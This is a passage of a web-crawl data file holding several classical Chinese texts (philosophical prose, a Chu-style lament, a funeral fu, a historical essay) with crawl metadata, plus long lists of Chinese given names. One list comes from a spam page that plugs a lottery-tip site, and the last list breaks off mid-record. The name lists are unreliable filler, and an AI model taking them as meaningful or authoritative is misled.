,辭合於說。正名而期,質請而喻,辨異而不過,推類而不悖。聽則合文,辨則盡故。以正道而辨姦,猶引繩以持曲直。是故邪說不能亂,百家無所竄。有兼聽之明,而無奮矜之容;有兼覆之厚,而無伐德之色。說行則天下正,說不行則白道而冥窮。是聖人之辨說也。詩曰:「顒顒卬卬,如珪如璋,令聞令望,豈弟君子,四方為綱。」此之謂也。\n辭讓之節得矣,長少之理順矣。忌諱不稱,祅辭不出。以仁心說,以學心聽,以公心辨。不動乎衆人之非譽,不治觀者之耳目,不賂貴者之權埶,不利傳辟者之辭。故能處道而不貳,吐而不奪,利而不流,貴公正而賤鄙爭,是士君子之辨說也。詩曰:「長夜漫兮,永思騫兮,大古之不慢兮,禮義之不愆兮,何恤人之言兮!」此之謂也。\n君子之言,涉然而精,俛然而類,差差然而齊。彼正其名,當其辭,以務白其志義者也。彼名辭也者,志義之使也,足以相通,則舍之矣。苟之,姦也。故名足以指實,辭足以見極,則舍之矣。外是者,謂之訒,是君子之所弃,而愚者拾以為己寶。故愚者之言,芴然而粗,嘖然而不類,誻誻然而沸,彼誘其名,眩其辭,而無深於其志義者也。故窮藉而無極,甚勞而無功,貪而無名。故知者之言也,慮之易知也,行之易安也,持之易立也,成則必得其所好,而不遇其所惡焉。而愚者反是。詩曰:「為鬼為蜮,則不可得。有靦面目,視人罔極。作此好歌,以極反側。」此之謂也。\n凡語治而待去欲者,無以道欲,而困於有欲者也。凡語治而待寡欲者,無以節欲,而困於多欲者也。有欲無欲,異類也,生死也,非治亂也。欲之多寡,異類也,情之數也,非治亂也。欲不待可得,而求者從所可。欲不待可得,所受乎天也;求者從所可,所受乎心也。所受乎天之一欲,制於所受乎心之多,固難類所受乎天也。人之所欲生甚矣,人之所惡死甚矣;然而人有從生成死者,非不欲生而欲死也,不可以生而可以死也。故欲過之而動不及,心止之也。心之所可中理,則欲雖多,奚傷於治?欲不及而動過之,心使之也。心之所可失理,則欲雖寡,奚止於亂?故治亂在於心之所可,亡於情之所欲。不求之其所在,而求之其所亡,雖曰我得之,失之矣。\n性者天之就也,情者性之質也,欲者情之應也。以所欲為可得而求之,情之所必不免也。以為可而道之,知所必出也。故雖為守門,欲不可去,性之具也。雖為天子,欲不可盡。欲雖不可盡,可以近盡也。欲雖不可去,求可節也。所欲雖不可盡,求者猶近盡;欲雖不可去,所求不得,慮者欲節求也。道者,進則近盡,退則節求,天下莫之若也。\n凡人莫不從其所可,而去其所不可。知道之莫之若也,而不從道者,無之有也。假之有人而欲南無多,而惡北無寡,豈為夫南者之不可盡也,離南行而北走也哉!今人所欲無多,所惡無寡,豈為夫所欲之不可盡也,離得欲之道,而取所惡也哉!故可道而從之,奚以損之而亂?不可道而離之,奚以益之而治?故知者論道而已矣,小家珍說之所願者皆衰矣。\n凡人之取也,所欲未嘗粹而來也;其去也,所惡未嘗粹而往也。故人無動而不可不與權俱。衡不正,則重縣於仰,而人以為輕。輕縣於俛,而人以為重,此人所以惑於輕重也。權不正,則禍託於欲,而人以為福。福託於惡,而人以為禍,此亦人所以惑於禍福也。道者,古今之正權也。離道而內自擇,則不知禍福之所託。易者,以一易一,人曰:無得亦無喪也,以一易兩,人曰:無喪而有得也。以兩易一,人曰:無得而有喪也。計者取所多,謀者從所可。以兩易一,人莫之為,明其數也。從道而出,猶以一易兩也,奚喪!離道而內自擇,是猶以兩易一也,奚得!其累百年之欲,易一時之嫌,猶且為之,不明其數也。\n有嘗試深觀其隱而難其察者,志輕理而不重物者,無之有也;外重物而不內憂者,無之有也;行離理而不外危者,無之有也;外危而不內恐者,無之有也。心憂恐,則口銜芻豢而不知其味,耳聽鍾鼓而不知其聲,目視黼黻而不知其狀,輕煖平簟而體不知其安。故嚮萬物之美而不能嗛也。假而得問而嗛之,則不能離也。故嚮萬物之美而盛憂,兼萬物之利而盛害,如此者,其求物也?養生也?粥壽也?故欲養其欲而縱其情,欲養其性而危其形,欲養其樂而攻其心,欲養其名而亂其行,如此者,雖封侯稱君,其與夫盜無以異;乘軒戴絻,其與無足無以異。夫是之謂以己為物役矣。心平愉,則色不及傭而可以養目,聲不及傭而可以養耳,蔬食菜羹而可以養口,麤布之衣麤紃之履而可以養體。屋室蘆庾葭槀蓐尚机筵而可以養形。故無萬物之美而可以養樂,無埶列之位而可以養名。如是而加天下焉,其為天下多,其私樂少矣。夫是之謂重己役物。無稽之言,不見之行,不聞之謀,君子慎之。","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/xn--5rtnx620bw5s.tw\/h\/h02\/22.html","date":"2017-01-23T06:28:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560282140.72\/warc\/CC-MAIN-20170116095122-00346-ip-10-171-10-70.ec2.internal.warc.gz","language":"lzh","language_score":0.4656902552,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.4656902551651001, \"cmn_Hani_score\": 0.4548195004463196, \"nan_Hani_score\": 0.042675115168094635, \"wuu_Hani_score\": 0.014443921856582165}","num_words":13,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.579,"perplexity_score":500.0,"cluster_detection":1} +{"text":"明魏大成撰。大成字時夫。柏鄕人。其養生論以平情爲祛病之本。而深明醫之不足恃。其弗佛論。則明儒理以闢釋也。持論頗不詭於正。然養生論稱聖有心而無爲。無爲則能平情。情平總歸無情。所以長生久視。則闢佛而轉入黃老矣。故退而列之雜家類焉。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0263502.html","date":"2017-03-23T18:22:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187193.40\/warc\/CC-MAIN-20170322212947-00274-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4148554206,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.414855420589447, \"cmn_Hani_score\": 0.3761795163154602, \"wuu_Hani_score\": 0.06619057804346085, \"yue_Hani_score\": 0.05597638338804245, \"jpn_Jpan_score\": 0.032444067299366, \"nan_Hani_score\": 0.01428456511348486}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.415,"perplexity_score":500.0,"cluster_detection":1} +{"text":"悲\n哉秋之为气也,萧瑟\n兮草木摇落\n而变衰。憭慄\n兮若在远行,登山临水\n兮送将\n归。\n泬寥兮天高而气清,𡧯𡽐兮收潦而水清。憯悽增欷兮薄寒之中人,怆恍懭悢兮去故而就新。\n坎廪兮贫士失职而志不平,廓落兮羁旅而无友生。\n惆怅兮而私自怜。燕翩翩其辞归兮,蝉𡧯漠而无声。\n雁廱廱而南游兮,鹍鸡啁哳而悲鸣。独申旦而不寐兮,哀蟋蟀之宵征。\n时亹亹而过中兮,蹇淹留而无成(一章)。悲忧穷戚\n兮独处廓,有美一人兮心不绎\n。\n去乡离家兮徕远客,超逍遥兮今焉薄?专思君兮不可化,君不知兮可柰何!\n蓄怨兮积思,心烦憺兮忘食事。愿一见兮道余意,君之心兮与余异。\n车既驾兮朅而归,不得见兮心伤悲。倚结軨兮长太息,涕潺湲兮下沾轼。\n忼慨绝兮不得,中瞀乱兮迷惑。私自怜兮何极?心怦怦兮谅直(二章)。\n皇天平分\n四时兮,窃独悲\n此廪秋\n。白露既下百草兮,奄离披\n此梧楸\n。\n去白日之昭昭兮,袭长夜之悠悠。离芳蔼之方壮兮,余萎约而悲愁。\n秋既先戒以白露兮,冬又申之以严霜。收恢台之孟夏兮,然欿傺而沉藏。\n叶烟邑而无色兮,枝烦挐而交横;颜淫溢而将罢兮,柯彷佛而萎黄;\n梢櫹椮之可哀兮,形销铄而瘀伤。惟其纷糅而将落兮,恨其失时而无当。\n揽騑辔而下节兮,聊逍遥以相佯。岁忽忽而遒尽兮,恐余寿之弗将。\n悼余生之不时兮,逢此世之俇攘。澹容与而独倚兮,蟋蟀鸣此西堂。\n心怵惕而震荡兮,何所忧之多方!卬明月而太息兮,步列星而极明(三章)。\n窃悲\n夫蕙华之曾敷兮,纷旖旎\n乎都房\n。何曾\n华之无实兮,从风雨而飞飏\n。\n以为君独服此蕙兮,羌无以异于众芳。闵奇思之不通兮,将去君而高翔。\n心闵怜之惨悽兮,愿一见而有明。重无怨而生离兮,中结轸而增伤。\n岂不郁陶而思君兮?君之门以九重。猛犬狺狺而迎吠兮,关梁闭而不通。\n皇天淫溢而秋霖兮,后土何时而得干!块独守此无泽兮,仰浮云而永叹(四章)。何时\n俗之工巧兮,背绳墨而改错\n!却骐骥而不乘兮,策驽骀\n而取路\n。\n当世岂无骐骥兮,诚莫之能善御。见执辔者非其人兮,故駶跳而远去。\n凫雁皆唼夫粱藻兮,凤愈飘翔而高举。圜凿而方枘兮,吾固知其锄铻而难入。\n众鸟皆有所登栖兮,凤独遑遑而无所集。愿衔枚而无言兮,尝被君之渥洽。\n太公九十乃显荣兮,诚未遇其匹合。谓骐骥兮安归?\n谓凤皇兮安栖?变古易俗兮世衰,今之相者兮举肥。\n骐骥伏匿而不见兮,凤皇高飞而不下。鸟兽犹知怀德兮,何云贤士之不处?\n骥不骤进而求服兮,凤亦不贪喂而妄食。君弃远而不察兮,虽愿忠其焉得?\n欲寂漠而绝端兮,窃不敢忘初之厚德。独悲愁其伤人兮,冯郁郁其何极(五章)?\n霜露惨悽而交下兮,心尚幸其弗济。霰雪雰糅\n其增加兮,乃知遭命\n之将\n至。\n愿徼幸而有待兮,泊莽莽与壄草同死。愿自往而径游兮,路壅绝而不通。\n欲循道而平驱兮,又未知其所从。然中路而迷惑兮,自压桉而学诵。\n性愚陋以褊浅兮,信未达乎从容。窃美申包胥之气盛兮,恐时世之不固。\n何时俗之工巧兮?灭规矩而改凿。独耿介而不随兮,愿慕先圣之遗教。\n处浊世而显荣兮,非余心之所乐。与其无义而有名兮,宁穷处而守高。\n食不媮而为饱兮,衣不苟而为温。窃慕诗人之遗风兮,愿托志乎素餐。\n蹇充倔而无端兮,泊莽莽而无垠。无衣裘以御冬兮,恐溘死不得见乎阳春(六章)。\n靓杪秋\n之遥夜\n兮,心缭悷而有哀。春秋逴逴\n而日高兮,然惆怅\n而自悲\n。\n四时递来而卒岁兮,阴阳不可与俪偕。白日晼晚其将入兮,明月销铄而减毁。\n岁忽忽而遒尽兮,老冉冉而愈㢮。心摇悦而日𡴘兮,然怊怅而无冀。\n中憯恻之悽怆兮,长太息而增欷。年洋洋以日往兮,老嵺廓而无处。\n事亹亹而觊进兮,蹇淹留而踌躇(七章)。\n何泛滥之浮云\n兮,猋壅蔽\n此明月!\n忠昭昭而愿见兮,然阴曀而莫达。愿皓日之显行兮,云蒙蒙而蔽之。\n窃不自聊而愿忠兮,或黕点而污之。尧舜之抗行兮,瞭冥冥而薄天。\n何险巇之嫉妒兮,被以不慈之伪名?彼日月之照明兮,尚黯黮而有瑕。\n何况一国之事兮,亦多端而胶加。被荷裯之晏晏兮,然潢洋而不可带。\n既骄美而伐武兮,负左右之耿介。憎愠惀之脩美兮,好夫人之慷慨。\n众踥蹀而日进兮,美超远而逾迈。农夫辍耕而容与兮,恐田野之芜秽。\n事绵绵而多私兮,窃悼后之危败。世雷同而炫曜兮,何毁誉之昧昧!\n今脩饰而窥镜兮,后尚可以窜藏。愿寄言夫流星兮,羌倏忽而难当。\n卒壅蔽此浮云兮,下暗漠而无光(八章)。\n尧舜皆有所举任兮,故高枕而自适。\n谅无怨于天下兮,心焉取此怵惕?乘骐骥之浏浏兮,驭安用夫强策?\n谅城郭之不足恃兮,虽重介之何益?邅翼翼而无终兮,忳惛惛而愁约。\n生天地之若过兮,功不成而无效。愿沈滞而不见兮,尚欲布名乎天下。\n然潢洋而不遇兮,直怐愗而自苦。莽洋洋而无极兮,忽翱翔之焉薄?\n国有骥而不知乘兮,焉皇皇而更索?宁戚讴于车下兮,桓公闻而知之。\n无伯乐之善相兮,今谁使乎誉之。罔流涕以聊虑兮,惟著意而得之。\n纷纯纯之愿忠兮,妒被离而鄣之。乱曰:愿赐不肖之躯而别离兮,放游志乎云中。\n乘精气之抟抟兮,骛诸神之湛湛。骖白霓之习习兮,历群灵之丰丰。\n左朱雀之茇茇兮,右苍龙之躣躣。属雷师之阗阗兮,通飞廉之衙衙。\n前轾辌之锵锵兮,后辎乘之从从。载云旗之委蛇兮,扈屯骑之容容。\n计专专之不可化兮,愿遂推而为臧。赖皇天之厚德兮,还及君之无恙(九章)。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/sou-yun.com\/PoemIndex.aspx?dynasty=XianQin&author=%E5%AE%8B%E7%8E%89","date":"2017-04-29T13:42:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123491.79\/warc\/CC-MAIN-20170423031203-00072-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4306660593,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4306660592556, \"cmn_Hani_score\": 0.3997790217399597, \"nan_Hani_score\": 0.061442453414201736, \"jpn_Jpan_score\": 0.03934113681316376, \"yue_Hani_score\": 0.03380924090743065, \"wuu_Hani_score\": 0.03033311292529106}","num_words":93,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.715,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n元焕芳 元红红 元钰婷 元军婷 元晋霞 元子怡 元石玉 元丽丽 元秀萍 元少花 元艾霞 元玲萍 元田丽 元以娟 元晓莹 元玉婷 元彩娟 元小霞 元晓霞 元庆红 元慧芳 元莹 元纯红 元文婷 元绍洁 元雪玲 元靖花 元利花 元凤玲 元悦 元娜 元海瑛 元海英 元红 元哲琴 元丽红 元怡苏 元姬玉 元妮娜 元瑞红 元为艳 元燕玲 元桂英 元有红 元明玉 元茹筠 元茹峰 元景文 元茹骁 元洁 元颖 元哲美 元婧牟 元婧眸 元哲花 元丽娜 元利娜 元哲文 元铎琳 元慧玲 元媛 元花 元怡涵 元晓红 元兰芳 元雪瑛 元杜娟 元伟英 元端琳 元滢洁 元艳 元爱琳 元成英 元成文 元新文 元慧霞 元婉嫣 元风霞 元芦雪 元钗芳 元芬芬 元剑文 元海霞 元丽花 元泽霞 元思怡 元琳 元绍娟 元绍丽 元晓蓉 元成美 元莹泉 元心怡 元柳婷 元继红 元思丽 元诗怡 元芳 元梅 元美 元青梅 元澜萍 元婧 元哲颖 元冬萍 元东萍 元玲 元君霞 元雪霞 元梦莹 元依琳 元芬 元郡娜 元君燕 元雪燕 元英 元君娜 元琳舒 元海燕 元洁琼 元艳玲 元倩倩 元文萍 元灵玲 元泽芳 元卫琴 元红英 元怡扬 元会琴 元金花 元雨倩 元莹珊 元春玉 元冬梅 元秋英 元君悦 元悦君 元悦阳 元欣悦 元悦琳 元怡博 元怡然 元常艳 元美艳 元玉梅 元文英 元文芳 元丽 元哲英 元贵梅 元燕 元秀 元夏玲 元哲倩 元倩珊 元烨婷 元怡文 元妍郦 元妍允 元妍岚 元馨怡","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/scw9.cn\/show_Q14.aspx","date":"2018-10-23T03:08:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516003.73\/warc\/CC-MAIN-20181023023542-20181023045042-00173.warc.gz","language":"lzh","language_score":0.8556583524,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.8556583523750305, \"jpn_Jpan_score\": 0.13594385981559753}","num_words":162,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.851,"perplexity_score":500.0,"cluster_detection":1} +{"text":"傷獨孤賦(並序)\n傷獨孤者,傷君子也,蓋傷君子有道而無命也。河南獨孤申步勝冠舉進士,博學宏辭登科,典校秘書,不幸短命無後。其人也君子也,天厚之才而嗇之年,又亡其家,傷哉!餘獲知於君也久,而叨磨漸之益焉。不幸淪喪所知,追想其人,作賦傷之也。\n惜逝者之日遠兮,心隱憫而內傷。顧來者之不可與期兮,雲誰嗣子之芬芳。思夫君之好修兮,企千載之相望。紆文章於六《經》兮,儒林為之有光。何事業之始酣,而誌力之方剛。宜盛德之日新,俾滋大而熾昌。飛霜肅其早零兮,意慘慘而不長。俄銷鑠以委絕兮,還四氣之無當。謂明神正直兮,始吾以為信然。天賞善而聽卑兮,吾乃今知其過之。必夷夷而長久兮,蹇煩遠而曆茲。斯美人兮下泉,雖為芳蘭兮誰與佩之。追往日之歌歡兮,曾宿息而不離。我不見其幾何兮,殄七日及斯。涕浪浪以相接兮,痛湛湛而不移。謂陽光而烜燎兮,遽蔑爾其焉之。或左右之歔欷兮,若感慟兮虛儀。懷玉音之清泠兮,似屬耳而依依。嗟眷想之若存兮,竟天地而長辭。願一撫而無孤,更出涕而淋漓。聞古人所孜孜兮,貴身沒而名存。顏冉不登下壽兮,無百里而愈尊。齊梁趙楚之君非不富且貴兮,人不得而稱之。嗚呼!自古而固然兮,予何歎乎今人。\n|本作品在全世界都属于公有领域,因为作者逝世已经超过100年,并且于1923年1月1日之前出版。|","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%82%B7%E7%8D%A8%E5%AD%A4%E8%B3%A6%EF%BC%88%E4%B8%A6%E5%BA%8F%EF%BC%89","date":"2019-10-20T16:21:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986717235.56\/warc\/CC-MAIN-20191020160500-20191020184000-00154.warc.gz","language":"lzh","language_score":0.5373736024,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5373736023902893, \"cmn_Hani_score\": 0.28486868739128113, \"nan_Hani_score\": 0.0597386434674263, \"wuu_Hani_score\": 0.020556766539812088, \"jpn_Jpan_score\": 0.014286955818533897, \"yue_Hani_score\": 0.013527489267289639}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.461,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周公論 (伊尹既立太甲)\n伊尹既立太甲,不明而放諸桐,天下不以為不義。武王既沒,成王幼,周公攝天子之位,朝諸侯於明堂,而召公不說,管叔、蔡叔咸叛,天下幾至於不救。二者此其故何也?\n太甲既立矣,而不足以治天下,則夫伊尹猶有以辭於後世也。蓋周公之事,其跡無以異於伊尹,然天下之人舉皆疑而不信,此無足怪也。何者?天下未知夫成王之不明,而周公攝,則是周公未有以服天下之心而強攝焉,以為之上也。且夫伊尹之攝其事,有不得已而然耳。太甲雖廢,而伊尹未敢有所復立,以召天下之亂,故寧以己攝焉,而待夫太甲之悔,是以天下無疑乎其心。今夫周公之際,其勢未至於不得已也。使成王拱手以居天下之上,而周公為之佐,以成王之名號於天下,而輔之以周公,此所謂其勢之未至於不得已者矣。而周公不居,則夫天下之謗,周公之所自取也。\n然愚以為不然,挾天子以令天下,此諸葛孔明之事耳,而周公豈不足以知之?蓋夫人臣惟無執天子之權,人臣而執天子之權,則必有忠於其心,而後可以自免於難。何者?人臣而用天子之事,此天子之所忌也。以一人之身,上為天子之所忌,而下為左右之大臣從而媒孽其短,此古之忠臣所以盡心而不免於禍,而世之奸雄之士所以動其無君之心而不顧者也。使成王用事於天下,而周公制其予奪之柄,則愚恐成王有所不平於其心,而管、蔡之徒乘其隙而間之,以至於亂也。使成王有天子之虛名,而不得制天下之政,則愚恐周公有所不忍於其中,赧然其有不安之心也。是以寧取而攝之,使成王無與乎其間,以破天下讒慝之謀,而絕其爭權之心,是以其後雖有管、蔡之憂,而天下不搖。使其當時立於群臣之間,方其危疑擾攘而未決也,則愚恐周公之禍,非居東之所能免,而管、蔡得志於天下,成王將遂不立也。嗚呼!其思之遠哉!\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/zh.wikisource.org\/zh\/%E5%91%A8%E5%85%AC%E8%AB%96_(%E4%BC%8A%E5%B0%B9%E6%97%A2%E7%AB%8B%E5%A4%AA%E7%94%B2)","date":"2019-10-19T04:39:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986688826.38\/warc\/CC-MAIN-20191019040458-20191019063958-00482.warc.gz","language":"lzh","language_score":0.5095720887,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5095720887184143, \"cmn_Hani_score\": 0.43305742740631104, \"wuu_Hani_score\": 0.02487078867852688, \"nan_Hani_score\": 0.024412503466010094}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.851,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n知道合伙人互联网行家采纳数:11320获赞数:1724908年毕业,一直从事计算机行业,从基层做起。有较强的实践操作能力。白小姐中特网教育部:科学减负应有增有减 增加!向TA提问展开全部王吉阳 王安琪 王喜鹅 王秀泯 王健雅 王晨磊 王亚光 王若函 王昌华 王秀抿 王若晗 王卓文 王雅静 王星宝 王亚南 王俊 王可鑫 王一鸣 王若锦 王英睿 王雅语 王爱平 王基龙王锈敏 王晓波 王雅吉 王晶玥 王袖敏 王嗅敏 王垣玥 王雅全 王淑芬 王绣敏 王荣 王西茜 王茜茜 王静雅 王荣月 王雷 王若荣 王晶 王晶静 王哲雯 王力静 王雪菲 王云中 王王亮 王力月 王艳 王冲 王昕 王力荣 王寿仑 王艳丽 王力四 王力玉 王羽豪 王秀莲 王晶玉 王海娜 王尤鸿 王丽玉 王语静 王羲 王雅琴 王亚静 王建明 王若锦 王燕 王尤弘 王水琴 王方静 王怀明 王玺婷 王艺静 王尤泓 王建新 王尤宏 王道荣 王红红 王尤坤 王尤剑 王华萍 王秀云 王岑旭 王丹卉 王丹旭 王丹吟 王慧敏 王丽艳 王美玲 王仕锟 王颍 王翕然 王祁 王军霞 王晶 王怀永 王俊发 王超 王羲 王箬蕙 王朝 王一妃 王智慧 王子仪 王顺翔 王慧敏 王静怡 王海森 王伟屹 王伟屹 王丹雅 王玲 王清芬 王萍 王心雅 王园 王舟 王舟 王梅芳 王洁 王高朋 王旭 王淞 王淳 王淞全 王贺 王婷婷 王铮 王恒亮 王子瑶 王虎平 王洪军 王泽远 王蕴睿 王铁丽 王小铭 王涵 王小川 王狁 王红军 王艳爽 王巍 王巨川 王云 王晓珂 王安石 王瀚懿 王英 王铁锋 王子轩 王珂 王学玉 王玺同 王瑞明 王发表 王子轩 王信力 王茜 王培雄 王梓源 王木森 王萌 王铮 王亚丽 王漩 王如月 王舜杰 王若鸿 王琬舒 王静 王迪 王忆墨 王国欢 王福琦 王好丹 王一凡 王昶 王一鸣 王越翔 王若含 王铮 王静 王海涵 王名如 王宾 王彬帆 王运增 王悦翔 王静 王秀美 王明如 王惠萍 王智武 王培艺 王奇丰 王静 王贞民 王旭辉 王跃翔 王惠成 王微浩 王梓馨 王雅诗 王桂荣 王奇辉 王秋 王啸 王小山 王子璇 王一玲 王忠伟 王萃 王惠萍 王一涵 王兴泉 王相匀 王兴全 王兴权 王惠成 王勇 王茜锐 王悦翔 王清禾 王立言 王杉 王永耀 王彬 王凌 王柯 王雨农 王柳 王实秋 王棋 王桢 王丽珍 王明星 王晓亚 王蔚 王友谊 王胭儿 王媛 王界镔 王邹 王高磊 王宇哲 王宇辉 王少瑕 王俊杰 王慧 王明杰 王海心 王全东 王海鑫 王雅丽 王友宜 王天一 王彩安 王海馨 王启专 王海欣 王雄示 王晓丽 王亚超 王杰 王雅超 王俊杰 王雅兴 王明旻 王莉 王庭光 王月斌 王科宇 王煜轩 王晓辉 王智 王宇 王宇辉 王萍 王慧敏 王湘云 王云奎 王玉珠 王雯君 王山 王秀丽 王文君 王志刚 王振硕 王明达 王敏 王元朝 王明雳 王明杰 王慧 王明烨 王明烁 王淑珍 王明煜 王南 王煜 王明豪 王水华 王鑫玮 王亚利 王颖 王超平 王桂莲 王秀珍 王亚云 王晓喻 王晓瑜 王南湘 王明鑫 王富强 王双玥 王玉碧 王莹 王大洋 王桂琴 王静 王水俊 王水俊 王相匀 王广凤 王叶萍 王辰光 王明浩 王印 王明皓 王明涵 王菊安 王晓瑜 王明灿 王化同 王明尥 王明昊 王晓敏 王明炅 王俊哲 王禺 王广凤 王梓鉴 王元潮 王雁宁 王建松 王叔龙 王柯欣 王庆云 王岩 王柯毅 王静 王俊杰 王明俊 王秀康 王建松 王玉 王泽玉 王红艳 王希 王友全 王卓威 王海忠 王友权 王炜 王国华 王俊杰 王振凯 王骢 王学腾 王静 王泳滨 王振凯 王哲恺 王韶华 王岩 王君 王一茜 王妍纯 王振凯 王珏 王秋雨 王锐林 王一蓄 王文礼 王一铮 王江月 王一瑾 王秀垒 王秋宇 王健 王术 王心怡 王东海 王林 王凯 王一博 王一超 王浩翔 王彦华 王磊 王帅 王玉芝 王芝瑞 王维书 王文革 王灿 王娜娜 王文革 王米 王水池 王洁琼 王水池 王洁琼 王洁琼 王军华 王旖旎 王校婷 王美祥 王韶 王昊 王志美 王刚 王鹤霖 王金 王超然 王帅 王丁杰 王欣 王兴雨 王雪松 王嫣然 王慧莉 王晓曼 王海霞","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/www-088399.com\/77154\/2117.html","date":"2019-11-22T14:45:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671363.79\/warc\/CC-MAIN-20191122143547-20191122172547-00499.warc.gz","language":"lzh","language_score":0.9827536345,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9827536344528198, \"nan_Hani_score\": 0.016263017430901527}","num_words":437,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":500.0,"cluster_detection":1} +{"text":"季奥茵 季玮煜 季言纯 季军筠 季率晏 季熙硕 季旭蕊 季炼德 季松鑫 季荬薹 季紫芹 季羿皓 季雨泽 季元君 季火风 季巧林 季芃征 季峻洋 季夕烊 季冯璐 季广令 季焱哲 季莺颉 季有朋 季鑫男 季息源 季希潺 季松啸 季雷屯 季民棂 季文海 季钧涛 季亚川 季省田 季官淡 季丞阳 季丹骋 季琦祯 季屦 季雪凡 季友观 季曾宏 季希众 季辙 季茂容 季翠蕴 季昱奇 季旭桐 季斯鑫 季则伍 季欣依 季兰亚 季步戈 季浩祥 季泰舟 季璐芝 季波存 季昌兴 季薇露 季新硕 季抒语 季家奇 季津澄 季若晨 季溆博 季紫洪 季信怀 季龙头 季丁玎 季永泠 季灵俞 季皓科 季淑颍 季何喜 季方姚 季本东 季晓昌 季小聆 季和蕴 季志超 季诺政 季翎讯 季可晰 季宴松 季本豪 季舒雨 季从雷 季游龙 季样人 季乜柑 季力晔 季绩阳 季来军 季世泉 季效辰 季再泽 季尚朋 季玮晟 季林俊 季晏玮 季园信 季余亮 季炳沣 季小穗 季琼竹 季妤初 季禾佳 季鸣箭 季莉昕 季万春 季星韵 季司斯 季惜夜 季沿彤 季吉桓 季芸颜 季传斌 季富源 季宜敏 季壮总 季任洲 季玉苹 季莅霖 季乐功 季珏亮 季圣熙 季章林 季子秦 季衷椅 季翔胜 季维诚 季兆旭 季奇儿 季诺炜 季钿颥 季御与 季搏围 季凌胜 季姣凯 季贤贺 季琛凯 季钰璐 季鼎权 季海畅 季晓柯 季群枚 季奕昌 季春业 季洋钦 季炫峰 季定舟 季叶茜 季依汶 季维志 季政天 季忪韬 季鹤逸 季寒瑜 季家羲 季应杰 季瑾江 季仲泓 季昭慕 季潍寇 季虹枚 季兰笔 季祖泫 季晨攀 季真级 季熙紫 季霄宇 季其的 季郁颍 季含薇 季珑宾 季霭嘉 季卓羲 季睿泓 季晟诺 季学帅 季玉来 季孟平 季翔斌 季实皮 季仲军 季新源 季生平 季海涛 季官祥 季明恒 季博弛 季秭灼 季曹城 季尚叔 季以来 季循 季政临 季正武 季全瑞 季淳中 季渤海 季纤儇 季海悼 季承健 季垭兰 季祖年 季颜如 季忠龙 季梓儒 季良鸾 季浩乐 季珑斌 季季薇 季丰石 季子榕 季臣谦 季继武 季杉渝 季守德 季伟毅 季敏颐 季隐麟 季琛麟 季策元 季效静 季胤娴 季炜群 季存德 季中雄 季文群 季元锋 季洪昀 季均益 季才乙 季海悠 季孟圆 季智岗 季吉民 季松青 季婉今 季益巽 季荣魁 季磊俊 季啸静 季林满 季铭鑫 季灵忆 季木宁 季王臣 季值一 季敬人 季青渝 季昀秩 季兰添 季飞鸟 季珈珈 季泓天 季厉鹏 季功贞 季泽淼 季芷宣 季鼎国 季易隆 季定成 季丹歌 季赵云 季存圣 季熔金 季卫荣 季印采 季广就 季榛上 季珑熠 季伟圣 季群虎 季宝程 季歆田 季晟标 季天曼 季忱初 季云昱 季崇高 季蕊竹 季恭丞 季翰君 季铨篷 季尚弘 季声云 